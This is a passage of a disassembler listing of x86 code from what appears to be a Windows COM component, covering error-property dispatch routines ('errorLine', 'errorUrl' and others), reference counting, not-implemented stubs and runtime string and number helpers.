		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_69B8284E


loc_69B84471:				; CODE XREF: sub_69B8436C+77j
					; sub_69B8436C+84j ...
		movzx	eax, word ptr [ebp+arg_C] ; default
					; jumptable 69B843F0 cases 5,10,11,14,22
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], eax
		mov	edi, [ebp+arg_10]
		jl	loc_69B843CE
		xor	ebx, ebx


loc_69B84486:				; CODE XREF: sub_69B8436C+5Cj
		cmp	byte ptr [esi+78h], 0
		jz	short loc_69B844D9
		mov	eax, [edi]
		mov	eax, [eax+4]
		dec	eax
		jz	short loc_69B844BB
		sub	eax, 3
		jz	short loc_69B844A4
		sub	eax, 0Eh
		jnz	short loc_69B844D9
		mov	byte ptr [esi+51h], 1
		jmp	short loc_69B844D9
; ---------------------------------------------------------------------------


loc_69B844A4:				; CODE XREF: sub_69B8436C+12Bj
		cmp	byte ptr [esi+51h], 0
		jz	short loc_69B844D9
		push	0C00CE513h
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_69B8284E
		jmp	short loc_69B844D9
; ---------------------------------------------------------------------------


loc_69B844BB:				; CODE XREF: sub_69B8436C+126j
		cmp	[ebp+var_4], ebx
		mov	byte ptr [esi+78h], 0
		mov	[esi+6Ch], ebx
		mov	[esi+68h], ebx
		jz	short loc_69B844D9
		push	edi
		push	[ebp+arg_C]
		mov	ecx, esi
		call	sub_69B82FEB
		cmp	eax, ebx
		jl	short loc_69B844E4


loc_69B844D9:				; CODE XREF: sub_69B8436C+11Ej
					; sub_69B8436C+130j ...
		push	edi
		push	[ebp+arg_C]
		mov	ecx, esi
		call	sub_69B83E6C


loc_69B844E4:				; CODE XREF: sub_69B8436C+4Dj
					; sub_69B8436C+16Bj
		pop	edi


loc_69B844E5:				; CODE XREF: sub_69B8436C+1Bj
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_69B8436C	endp

; ---------------------------------------------------------------------------
off_69B844EB	dd offset loc_69B843F7	; DATA XREF: sub_69B8436C+84r
		dd offset loc_69B8443F	; jump table for switch	statement
		dd offset loc_69B843F9
		dd offset loc_69B84471
byte_69B844FB	db	0,     0,     0,     0 ; DATA XREF: sub_69B8436C+7Dr
		db	0,     3,     0,     0 ; indirect table	for switch statement
		db	0,     0,     3,     3
		db	1,     1,     3,     1
		db	0,     1,     0,     2
		db	1,     0,     3,     0
; ---------------------------------------------------------------------------


loc_69B84513:				; DATA XREF: .text:off_69B1EA68o
		mov	eax, [esp+8]
		push	ebx
		push	esi
		push	edi
		push	4
		pop	edx
		mov	ecx, edx
		mov	edi, offset stru_69B1CA6C
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jz	short loc_69B84566
		mov	ecx, edx
		mov	edi, offset dword_69B2AFE0
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jz	short loc_69B84566
		mov	ecx, edx
		mov	edi, (offset dword_69B2B088+8)
		mov	esi, eax
		xor	ebx, ebx
		repe cmpsd
		jz	short loc_69B84566
		mov	esi, eax
		mov	ecx, edx
		mov	edi, (offset loc_69B2B07C+4)
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B84566
		mov	eax, [esp+18h]
		and	[eax], ebx
		mov	eax, 80004002h
		jmp	short loc_69B84572
; ---------------------------------------------------------------------------


loc_69B84566:				; CODE XREF: .text:69B8452Aj
					; .text:69B84539j ...
		mov	eax, [esp+10h]
		mov	ecx, [esp+18h]
		mov	[ecx], eax
		xor	eax, eax


loc_69B84572:				; CODE XREF: .text:69B84564j
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================



sub_69B84578	proc near		; DATA XREF: .text:69B1EA04o
					; .text:69B1EC18o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		add	eax, 4
		mov	[ecx], eax
		xor	eax, eax
		retn	8
sub_69B84578	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8458A	proc near		; DATA XREF: .text:69B1E8C4o

arg_8		= dword	ptr  10h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ds:StrCmpW
		push	edi
		mov	edi, [ebp+arg_8]
		push	offset aErrorline ; "errorLine"
		push	dword ptr [edi]	; psz1
		call	esi ; StrCmpW
		test	eax, eax
		jnz	short loc_69B845B0
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax], 3E9h
		jmp	short loc_69B8460E
; ---------------------------------------------------------------------------


loc_69B845B0:				; CODE XREF: sub_69B8458A+19j
		push	offset aErrorcharacter ; "errorCharacter"
		push	dword ptr [edi]	; psz1
		call	esi ; StrCmpW
		test	eax, eax
		jnz	short loc_69B845C8
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax], 3EAh
		jmp	short loc_69B8460E
; ---------------------------------------------------------------------------


loc_69B845C8:				; CODE XREF: sub_69B8458A+31j
		push	offset aErrorcode ; "errorCode"
		push	dword ptr [edi]	; psz1
		call	esi ; StrCmpW
		test	eax, eax
		jnz	short loc_69B845E0
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax], 3EBh
		jmp	short loc_69B8460E
; ---------------------------------------------------------------------------


loc_69B845E0:				; CODE XREF: sub_69B8458A+49j
		push	offset aErrormessage ; "errorMessage"
		push	dword ptr [edi]	; psz1
		call	esi ; StrCmpW
		test	eax, eax
		jnz	short loc_69B845F8
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax], 3ECh
		jmp	short loc_69B8460E
; ---------------------------------------------------------------------------


loc_69B845F8:				; CODE XREF: sub_69B8458A+61j
		push	offset aErrorurl ; "errorUrl"
		push	dword ptr [edi]	; psz1
		call	esi ; StrCmpW
		test	eax, eax
		jnz	short loc_69B84612
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax], 3EDh


loc_69B8460E:				; CODE XREF: sub_69B8458A+24j
					; sub_69B8458A+3Cj ...
		xor	eax, eax
		jmp	short loc_69B84617
; ---------------------------------------------------------------------------


loc_69B84612:				; CODE XREF: sub_69B8458A+79j
		mov	eax, 80020003h


loc_69B84617:				; CODE XREF: sub_69B8458A+86j
		pop	edi
		pop	esi
		pop	ebp
		retn	18h
sub_69B8458A	endp

; ---------------------------------------------------------------------------
		align 10h
; const	WCHAR aErrorcode
aErrorcode:				; DATA XREF: sub_69B8458A:loc_69B845C8o
					; .data:off_69B99BC0o
		unicode	0, <errorCode>,0
; const	WCHAR aErrorurl
aErrorurl:				; DATA XREF: sub_69B8458A:loc_69B845F8o
		unicode	0, <errorUrl>,0
		align 4
; const	WCHAR aErrormessage
aErrormessage:				; DATA XREF: sub_69B8458A:loc_69B845E0o
		unicode	0, <errorMessage>,0
		align 4
; const	WCHAR aErrorcharacter
aErrorcharacter:			; DATA XREF: sub_69B8458A:loc_69B845B0o
		unicode	0, <errorCharacter>,0
		align 4
; const	WCHAR aErrorline
aErrorline:				; DATA XREF: sub_69B8458A+Eo
		unicode	0, <errorLine>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B84698	proc near		; DATA XREF: .text:69B1E8C8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_18		= dword	ptr  1Ch

		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_18]
		and	dword ptr [esi+8], 0
		sub	ecx, 3E9h
		mov	word ptr [esi],	1
		jz	short loc_69B84702
		dec	ecx
		jz	short loc_69B846F8
		dec	ecx
		jz	short loc_69B846ED
		dec	ecx
		jz	short loc_69B846D3
		dec	ecx
		jz	short loc_69B846C9
		mov	eax, 80020003h
		jmp	short loc_69B8470F
; ---------------------------------------------------------------------------


loc_69B846C9:				; CODE XREF: sub_69B84698+28j
		mov	word ptr [esi],	8
		mov	eax, [eax+4]
		jmp	short loc_69B846DB
; ---------------------------------------------------------------------------


loc_69B846D3:				; CODE XREF: sub_69B84698+25j
		mov	word ptr [esi],	8
		mov	eax, [eax+10h]


loc_69B846DB:				; CODE XREF: sub_69B84698+39j
		test	eax, eax
		jnz	short loc_69B846E4
		mov	eax, offset word_69B26224


loc_69B846E4:				; CODE XREF: sub_69B84698+45j
		push	eax		; OLECHAR *
		call	SysAllocString
		jmp	short loc_69B8470A
; ---------------------------------------------------------------------------


loc_69B846ED:				; CODE XREF: sub_69B84698+22j
		and	dword ptr [esi+8], 0
		mov	word ptr [esi],	3
		jmp	short loc_69B8470D
; ---------------------------------------------------------------------------


loc_69B846F8:				; CODE XREF: sub_69B84698+1Fj
		mov	word ptr [esi],	3
		mov	eax, [eax+0Ch]
		jmp	short loc_69B8470A
; ---------------------------------------------------------------------------


loc_69B84702:				; CODE XREF: sub_69B84698+1Cj
		mov	word ptr [esi],	3
		mov	eax, [eax+8]


loc_69B8470A:				; CODE XREF: sub_69B84698+53j
					; sub_69B84698+68j
		mov	[esi+8], eax


loc_69B8470D:				; CODE XREF: sub_69B84698+5Ej
		xor	eax, eax


loc_69B8470F:				; CODE XREF: sub_69B84698+2Fj
		pop	esi
		retn	24h
sub_69B84698	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84713	proc near		; CODE XREF: sub_69B849B3+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+14h], 0
		push	edi
		lea	edi, [esi+0Ch]
		and	dword ptr [edi], 0
		push	edi
		mov	[esi+8], eax
		mov	eax, [esp+0Ch+arg_4]
		push	offset dword_69B2B0E0
		mov	dword ptr [esi], offset	off_69B2A880
		mov	dword ptr [esi+4], 1
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+10h]
		test	eax, eax
		jl	short loc_69B84756
		mov	edi, [edi]
		mov	eax, [edi]
		lea	ecx, [esi+10h]
		push	ecx
		push	esi
		push	edi
		call	dword ptr [eax+14h]


loc_69B84756:				; CODE XREF: sub_69B84713+34j
		pop	edi
		mov	eax, esi
		pop	esi
		retn	8
sub_69B84713	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8475D	proc near		; DATA XREF: .text:off_69B2A880o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	4
		pop	ecx
		mov	esi, offset stru_69B1CA6C
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B8478A
		mov	edi, [esp+8+arg_4]
		push	4
		pop	ecx
		mov	esi, offset dword_69B2B0E0
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B8478A
		mov	eax, 80004002h
		jmp	short loc_69B84799
; ---------------------------------------------------------------------------


loc_69B8478A:				; CODE XREF: sub_69B8475D+12j
					; sub_69B8475D+24j
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esp+8+arg_8]
		mov	[ecx], eax
		inc	dword ptr [eax+4]
		xor	eax, eax


loc_69B84799:				; CODE XREF: sub_69B8475D+2Bj
		pop	edi
		pop	esi
		retn	0Ch
sub_69B8475D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8479E	proc near		; DATA XREF: .text:69B2A884o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		inc	dword ptr [eax+4]
		mov	eax, [eax+4]
		retn	4
sub_69B8479E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B847AB	proc near		; DATA XREF: .text:69B2A898o
		xor	eax, eax
		cmp	[ecx+14h], eax
		jz	short locret_69B847B8
		cmp	[ecx+18h], al
		jz	short locret_69B847B8
		inc	eax

locret_69B847B8:			; CODE XREF: sub_69B847AB+5j
					; sub_69B847AB+Aj
		retn
sub_69B847AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B847B9	proc near		; DATA XREF: .text:69B2A89Co
		push	esi
		lea	esi, [ecx+0Ch]
		cmp	dword ptr [esi], 0
		jz	short loc_69B847D3
		mov	eax, [esi]
		push	dword ptr [ecx+10h]
		mov	edx, [eax]
		push	eax
		call	dword ptr [edx+18h]
		push	esi
		call	sub_69B17230


loc_69B847D3:				; CODE XREF: sub_69B847B9+7j
		pop	esi
		retn
sub_69B847B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B847D5(int, LPCWSTR lpStr1)

sub_69B847D5	proc near		; DATA XREF: .text:69B2A88Co

arg_0		= dword	ptr  8
lpStr1		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+lpStr1], 0FFFFFDF3h
		jnz	short loc_69B84826
		and	[ebp+lpStr1], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+8]
		mov	ecx, [eax]
		lea	edx, [ebp+lpStr1]
		push	edx
		push	eax
		call	dword ptr [ecx+58h]
		test	eax, eax
		jl	short loc_69B84825
		push	8		; nChar
		push	offset aComplete ; "complete"
		push	[ebp+lpStr1]	; lpStr1
		call	ds:StrCmpNIW	; StrCmpNIW
		test	eax, eax
		jnz	short loc_69B8481C
		mov	ecx, esi
		call	sub_69B8483E
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+1Ch]


loc_69B8481C:				; CODE XREF: sub_69B847D5+37j
		push	[ebp+lpStr1]	; BSTR
		call	SysFreeString


loc_69B84825:				; CODE XREF: sub_69B847D5+23j
		pop	esi


loc_69B84826:				; CODE XREF: sub_69B847D5+Aj
		xor	eax, eax
		pop	ebp
		retn	8
sub_69B847D5	endp

; ---------------------------------------------------------------------------
; const	WCHAR aComplete
aComplete:				; DATA XREF: sub_69B847D5+27o
		unicode	0, <complete>,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8483E	proc near		; CODE XREF: sub_69B847D5+3Bp

var_34		= byte ptr -34h
pvarg		= VARIANTARG ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	edi
		mov	edi, ecx
		xor	ebx, ebx
		cmp	[edi+8], ebx
		jz	loc_69B84922
		cmp	[edi+14h], ebx
		jz	loc_69B84922
		push	esi
		mov	esi, VariantInit
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_14], ebx
		call	esi ; VariantInit
		lea	eax, [ebp+var_34]
		push	eax		; pvarg
		call	esi ; VariantInit
		mov	eax, [edi+8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B160
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		pop	esi
		jl	short loc_69B848EB
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jz	short loc_69B848EB
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	eax
		call	dword ptr [ecx+10h]
		test	eax, eax
		jl	short loc_69B848EB
		mov	eax, [ebp+var_8]
		cmp	eax, ebx
		jz	short loc_69B848EB
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		push	offset nullsub_2
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_69B848EB
		mov	eax, [ebp+var_C]
		cmp	eax, ebx
		jz	short loc_69B848EB
		mov	ecx, [edi+14h]
		lea	edx, [ebp+var_34]
		push	edx
		lea	edx, [ebp+pvarg]
		push	edx
		push	ebx
		push	28h
		push	offset dword_69B84928
		mov	word ptr [ebp+pvarg.anonymous_0], 0Dh
		mov	dword ptr [ebp+pvarg.anonymous_0+8], ecx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+10h]


loc_69B848EB:				; CODE XREF: sub_69B8483E+54j
					; sub_69B8483E+5Bj ...
		lea	eax, [ebp+var_34]
		push	eax		; pvarg
		call	VariantClear
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_69B17230


loc_69B84922:				; CODE XREF: sub_69B8483E+Fj
					; sub_69B8483E+18j
		pop	edi
		pop	ebx
		leave
		retn
sub_69B8483E	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B84928	dd 0F38BC242h, 11D1B950h, 0C0001889h, 36C8C24Fh
					; DATA XREF: sub_69B8483E+99o

; =============== S U B	R O U T	I N E =======================================



sub_69B84938	proc near		; DATA XREF: .text:69B2A888o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		dec	dword ptr [esi+4]
		mov	eax, [esi+4]
		jnz	short loc_69B84954
		mov	ecx, esi
		call	sub_69B84958
		push	esi
		call	sub_69B1B2B7
		xor	eax, eax


loc_69B84954:				; CODE XREF: sub_69B84938+Bj
		pop	esi
		retn	4
sub_69B84938	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84958	proc near		; CODE XREF: sub_69B84938+Fp
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		test	eax, eax
		mov	dword ptr [esi], offset	off_69B2A880
		jz	short loc_69B8496E
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B8496E:				; CODE XREF: sub_69B84958+Ej
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_69B8497B
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B8497B:				; CODE XREF: sub_69B84958+1Bj
		mov	ecx, [esi+14h]
		test	ecx, ecx
		pop	esi
		jz	short locret_69B8498A
		push	1
		call	sub_69B8498B

locret_69B8498A:			; CODE XREF: sub_69B84958+29j
		retn
sub_69B84958	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8498B	proc near		; CODE XREF: sub_69B1E82F+1Fp
					; sub_69B84958+2Dp

arg_0		= byte ptr  4

		push	esi
		push	edi
		mov	edi, SysFreeString
		mov	esi, ecx
		push	dword ptr [esi+0Ch] ; BSTR
		call	edi ; SysFreeString
		push	dword ptr [esi+18h] ; BSTR
		call	edi ; SysFreeString
		test	[esp+8+arg_0], 1
		jz	short loc_69B849AC
		push	esi
		call	sub_69B1B2B7


loc_69B849AC:				; CODE XREF: sub_69B8498B+19j
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8498B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B849B3	proc near		; CODE XREF: sub_69B7FB0F+18Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		lea	ecx, [ebp+var_8]
		push	ecx
		push	(offset	loc_69B2B07C+4)
		push	esi
		call	dword ptr [eax]
		test	eax, eax
		jl	short loc_69B84A1C
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset dword_69B2B100
		push	esi
		call	dword ptr [eax]
		test	eax, eax
		jl	short loc_69B84A13
		push	1Ch
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B84A04
		push	[ebp+var_4]
		mov	ecx, eax
		push	[ebp+var_8]
		call	sub_69B84713
		mov	esi, eax
		jmp	short loc_69B84A06
; ---------------------------------------------------------------------------


loc_69B84A04:				; CODE XREF: sub_69B849B3+3Ej
		xor	esi, esi


loc_69B84A06:				; CODE XREF: sub_69B849B3+4Fj
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	eax, esi
		jmp	short loc_69B84A1E
; ---------------------------------------------------------------------------


loc_69B84A13:				; CODE XREF: sub_69B849B3+33j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B84A1C:				; CODE XREF: sub_69B849B3+21j
		xor	eax, eax


loc_69B84A1E:				; CODE XREF: sub_69B849B3+5Ej
		pop	esi
		leave
		retn	4
sub_69B849B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84A23	proc near		; DATA XREF: .text:69B15DF0o
					; .text:69B1E948o ...
		mov	eax, 80004001h
		retn	24h
sub_69B84A23	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84A2B	proc near		; DATA XREF: .text:69B15ECCo
					; .text:69B1EB5Co
		mov	eax, 80004001h
		retn	3Ch
sub_69B84A2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84A33	proc near		; DATA XREF: .text:69B15EF0o
					; .text:69B1EB80o
		mov	eax, 80004001h
		retn	20h
sub_69B84A33	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84A3B	proc near		; DATA XREF: .text:69B122DCo
					; .text:69B12300o ...
		mov	eax, 80004001h
		retn	8
sub_69B84A3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84A43	proc near		; DATA XREF: .text:69B122C0o
					; .text:69B122D8o ...
		mov	eax, 80004001h
		retn	0Ch
sub_69B84A43	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84A4B	proc near		; DATA XREF: .text:69B1424Co
					; .text:69B14638o ...
		mov	eax, 80004001h
		retn	10h
sub_69B84A4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84A53	proc near		; DATA XREF: .text:69B14248o
					; .text:69B1EA10o
		mov	eax, 80004001h
		retn	1Ch
sub_69B84A53	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84A5B	proc near		; CODE XREF: sub_69B113FC+13CC9p
					; sub_69B84DE2+Ep ...

arg_0		= dword	ptr  4

		mov	eax, dword_69B9B6C0
		cmp	eax, 1
		jz	short loc_69B84A72
		test	eax, eax
		jnz	short loc_69B84A77
		cmp	dword_69B9B6C4,	1
		jnz	short loc_69B84A77


loc_69B84A72:				; CODE XREF: sub_69B84A5B+8j
		call	sub_69B851BF


loc_69B84A77:				; CODE XREF: sub_69B84A5B+Cj
					; sub_69B84A5B+15j
		push	[esp+arg_0]
		call	sub_69B84F8F
		push	0FFh
		call	off_69B9AA30
		pop	ecx
		pop	ecx
		retn
sub_69B84A5B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84A8E	proc near		; CODE XREF: sub_69B20F54:loc_69B20FCCp
					; sub_69B2CA1A+7Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		jmp	short loc_69B84AA3
; ---------------------------------------------------------------------------


loc_69B84A9A:				; CODE XREF: sub_69B84A8E+20j
		test	cx, cx
		jz	short loc_69B84AB0
		inc	edx
		inc	edx
		inc	esi
		inc	esi


loc_69B84AA3:				; CODE XREF: sub_69B84A8E+Aj
		mov	cx, [esi]
		movzx	eax, word ptr [edx]
		movzx	edi, cx
		sub	eax, edi
		jz	short loc_69B84A9A


loc_69B84AB0:				; CODE XREF: sub_69B84A8E+Fj
		test	eax, eax
		pop	edi
		pop	esi
		jge	short loc_69B84ABA
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_69B84ABA:				; CODE XREF: sub_69B84A8E+26j
		jle	short locret_69B84ABF
		xor	eax, eax
		inc	eax

locret_69B84ABF:			; CODE XREF: sub_69B84A8E:loc_69B84ABAj
		retn
sub_69B84A8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B84AC0	proc near		; CODE XREF: sub_69B1F9DC+2Ep
					; sub_69B374CD+12p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_69B84ACD
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_69B84ACD:				; CODE XREF: sub_69B84AC0+7j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]


loc_69B84AD3:				; CODE XREF: sub_69B84AC0+29j
		dec	[ebp+arg_8]
		jz	short loc_69B84AEB
		mov	ax, [ecx]
		test	ax, ax
		jz	short loc_69B84AEB
		cmp	ax, [edx]
		jnz	short loc_69B84AEB
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		jmp	short loc_69B84AD3
; ---------------------------------------------------------------------------


loc_69B84AEB:				; CODE XREF: sub_69B84AC0+16j
					; sub_69B84AC0+1Ej ...
		movzx	eax, word ptr [ecx]
		movzx	ecx, word ptr [edx]
		sub	eax, ecx
		pop	ebp
		retn
sub_69B84AC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84AF5	proc near		; CODE XREF: sub_69B3ACD6+69p
					; sub_69B7B446+32p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	edx, [esp+arg_4]


loc_69B84AFD:				; CODE XREF: sub_69B84AF5+15j
		mov	ax, [edx]
		mov	[ecx], ax
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	ax, ax
		jnz	short loc_69B84AFD
		mov	eax, [esp+arg_0]
		retn
sub_69B84AF5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84B11	proc near		; CODE XREF: sub_69B84B5F+1Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		jz	short loc_69B84B22
		mov	word ptr [ecx],	2Dh
		add	ecx, 2
		neg	eax


loc_69B84B22:				; CODE XREF: sub_69B84B11+5j
		push	esi
		mov	esi, ecx


loc_69B84B25:				; CODE XREF: sub_69B84B11+2Ej
		xor	edx, edx
		div	[esp+4+arg_0]
		cmp	edx, 9
		jbe	short loc_69B84B35
		add	edx, 57h
		jmp	short loc_69B84B38
; ---------------------------------------------------------------------------


loc_69B84B35:				; CODE XREF: sub_69B84B11+1Dj
		add	edx, 30h


loc_69B84B38:				; CODE XREF: sub_69B84B11+22j
		mov	[ecx], dx
		inc	ecx
		inc	ecx
		test	eax, eax
		ja	short loc_69B84B25
		and	word ptr [ecx],	0
		dec	ecx
		dec	ecx


loc_69B84B47:				; CODE XREF: sub_69B84B11+48j
		mov	dx, [esi]
		mov	ax, [ecx]
		mov	[ecx], dx
		dec	ecx
		mov	[esi], ax
		dec	ecx
		inc	esi
		inc	esi
		cmp	esi, ecx
		jb	short loc_69B84B47
		pop	esi
		retn	8
sub_69B84B11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B84B5F	proc near		; CODE XREF: sub_69B3D7B4+93p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_69B84B70
		cmp	[ebp+arg_0], eax
		jge	short loc_69B84B70
		inc	eax


loc_69B84B70:				; CODE XREF: sub_69B84B5F+9j
					; sub_69B84B5F+Ej
		mov	ecx, [ebp+arg_4]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		call	sub_69B84B11
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_69B84B5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84B84	proc near		; CODE XREF: sub_69B84BBD+9p

arg_0		= byte ptr  4

		mov	cl, [esp+arg_0]
		xor	eax, eax
		test	cl, 1
		jz	short loc_69B84B92
		push	10h
		pop	eax


loc_69B84B92:				; CODE XREF: sub_69B84B84+9j
		test	cl, 4
		jz	short loc_69B84B9A
		or	eax, 8


loc_69B84B9A:				; CODE XREF: sub_69B84B84+11j
		test	cl, 8
		jz	short loc_69B84BA2
		or	eax, 4


loc_69B84BA2:				; CODE XREF: sub_69B84B84+19j
		test	cl, 10h
		jz	short loc_69B84BAA
		or	eax, 2


loc_69B84BAA:				; CODE XREF: sub_69B84B84+21j
		test	cl, 20h
		jz	short loc_69B84BB2
		or	eax, 1


loc_69B84BB2:				; CODE XREF: sub_69B84B84+29j
		test	cl, 2
		jz	short locret_69B84BBC
		or	eax, 80000h

locret_69B84BBC:			; CODE XREF: sub_69B84B84+31j
		retn
sub_69B84B84	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84BBD	proc near		; CODE XREF: sub_69B47D46+3p

var_4		= dword	ptr -4

		push	ecx
		fnstsw	word ptr [esp+4+var_4]
		fnclex
		push	[esp+4+var_4]
		call	sub_69B84B84
		pop	ecx
		pop	ecx
		retn
sub_69B84BBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_69B84BCE(double)

sub_69B84BCE	proc near		; CODE XREF: sub_69B63D7C+Ep
					; sub_69B64179+21p ...

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, dword ptr [ebp+arg_0+6]
		mov	ecx, 7FF0h
		mov	edx, eax
		and	edx, ecx
		cmp	dx, cx
		jnz	short loc_69B84C0F
		fld	qword ptr [ebp+8]
		push	ecx
		push	ecx
		fstp	[esp+8+var_8]
		call	sub_69B855CF
		dec	eax
		pop	ecx
		pop	ecx
		jz	short loc_69B84C08
		dec	eax
		jz	short loc_69B84C04
		dec	eax
		jz	short loc_69B84BFF
		xor	eax, eax
		inc	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_69B84BFF:				; CODE XREF: sub_69B84BCE+2Aj
		push	2


loc_69B84C01:				; CODE XREF: sub_69B84BCE+38j
		pop	eax
		pop	ebp
		retn
